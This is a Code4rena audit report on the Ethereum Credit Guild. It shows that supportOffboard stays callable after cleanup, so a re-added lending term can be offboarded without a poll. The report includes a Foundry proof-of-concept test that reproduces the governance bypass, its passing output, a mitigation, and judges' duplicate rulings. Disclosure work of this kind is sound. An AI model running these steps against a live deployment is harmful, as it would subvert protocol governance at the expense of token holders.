LendingTerm can go offboard without a poll in certain situation

[c4-bot-8]

Lines of code

https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/governance/LendingTermOffboarding.sol#L139

Vulnerability details

Description

Removal of a lending term consist of 4 procedures.

1. proposeOffboard is called to create a poll.
2. Any GUILD holder can poll for the removal of a lending term by calling supportOffboard. Here if enough vote(weight) has been collected, canOffboard[term] is set to true.
3. offboard is called and lending term is removed from gauge.
4. cleanup is called to clear the roles of a lending term and set canOffboard[term] to false.

However any GUILD holder can still call supportOffboard after cleanup is called as there aren’t any checks. As poll already passed the quorum, canOffboard[term] is set back to true.

function supportOffboard(
        uint256 snapshotBlock,
        address term
    ) external whenNotPaused {
        require(
            block.number <= snapshotBlock + POLL_DURATION_BLOCKS,
            "LendingTermOffboarding: poll expired"
        );
        uint256 _weight = polls[snapshotBlock][term];
        require(_weight != 0, "LendingTermOffboarding: poll not found");
        uint256 userWeight = GuildToken(guildToken).getPastVotes(
            msg.sender,
            snapshotBlock
        );
        require(userWeight != 0, "LendingTermOffboarding: zero weight");
        require(
            userPollVotes[msg.sender][snapshotBlock][term] == 0,
            "LendingTermOffboarding: already voted"
        );

        userPollVotes[msg.sender][snapshotBlock][term] = userWeight;
        polls[snapshotBlock][term] = _weight + userWeight;
        if (_weight + userWeight >= quorum) {
            canOffboard[term] = true;
        }
        emit OffboardSupport(
            block.timestamp,
            term,
            snapshotBlock,
            msg.sender,
            userWeight
        );
    }

Later if this lending term is added back to gauge for use, it can go offboard without the removal procedure described above as canOffboard[term] is already set to true.

PoC

Add this function to LendingTermOffboarding.t.sol.

function testWrongCleanup() public {
    guild.mint(bob, _QUORUM);
    guild.mint(carol, 1);
    uint256 snapshotBlock = block.number;

    vm.prank(carol);
    guild.delegate(carol);

    vm.startPrank(bob);
    guild.delegate(bob);
    offboarder.proposeOffboard(address(term));

    vm.roll(block.number + 1);
    vm.warp(block.timestamp + 13);

    offboarder.supportOffboard(snapshotBlock, address(term));
    offboarder.offboard(address(term));
    vm.stopPrank();

    
    vm.roll(block.number + 1);
    vm.warp(block.timestamp + 13);
    uint256 debt = term.getLoanDebt(aliceLoanId);
    credit.mint(alice, debt - aliceLoanSize);

    vm.startPrank(alice);
    credit.approve(address(term), debt);
    term.repay(aliceLoanId);
    vm.stopPrank();

    offboarder.cleanup(address(term));
    
    vm.roll(block.number + 1);
    vm.warp(block.timestamp + 13);

    // Carol calls supportOffboard with deprecated gauge
    vm.prank(carol);
    offboarder.supportOffboard(snapshotBlock, address(term));

    // canOffboard becomes true
    assertEq(offboarder.canOffboard(address(term)), true);

    // LendingTerm is added to gauge again
    guild.addGauge(1, address(term));

    // As canOffboard is true, LendingTerm can go offboard without proposal or support
    vm.prank(carol);
    offboarder.offboard(address(term));
}

Result

xeros@vm:~/workdir/web3/code4rena/2023-12-ethereumcreditguild$ forge test --mt testWrongCleanup
[⠢] Compiling...
[⠰] Compiling 1 files with 0.8.13
[⠒] Solc 0.8.13 finished in 4.16s
Compiler run successful!

Running 1 test for test/unit/governance/LendingTermOffboarding.t.sol:LendingTermOffboardingUnitTest
[PASS] testWrongCleanup() (gas: 946836)
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 4.21ms
 
Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)

Recommeded Mitigation Steps

Block users from calling supportOffboard if lending term is not an active term.

Assessed type

Invalid Validation

[0xSorryNotSorry]

it's only true if block.number <= snapshotBlock + POLL_DURATION_BLOCKS,
The submission doesn't refer to it.

[c4-pre-sort]

0xSorryNotSorry marked the issue as insufficient quality report

[c4-pre-sort]

0xSorryNotSorry marked the issue as duplicate of #1141

[c4-judge]

Trumpero marked the issue as satisfactory

[Trumpero]

dup of #1141 due to the root cause: supportOffboard can still be called after offboarding.

[c4-judge]

Trumpero marked the issue as not a duplicate

[c4-judge]

Trumpero marked the issue as duplicate of #1141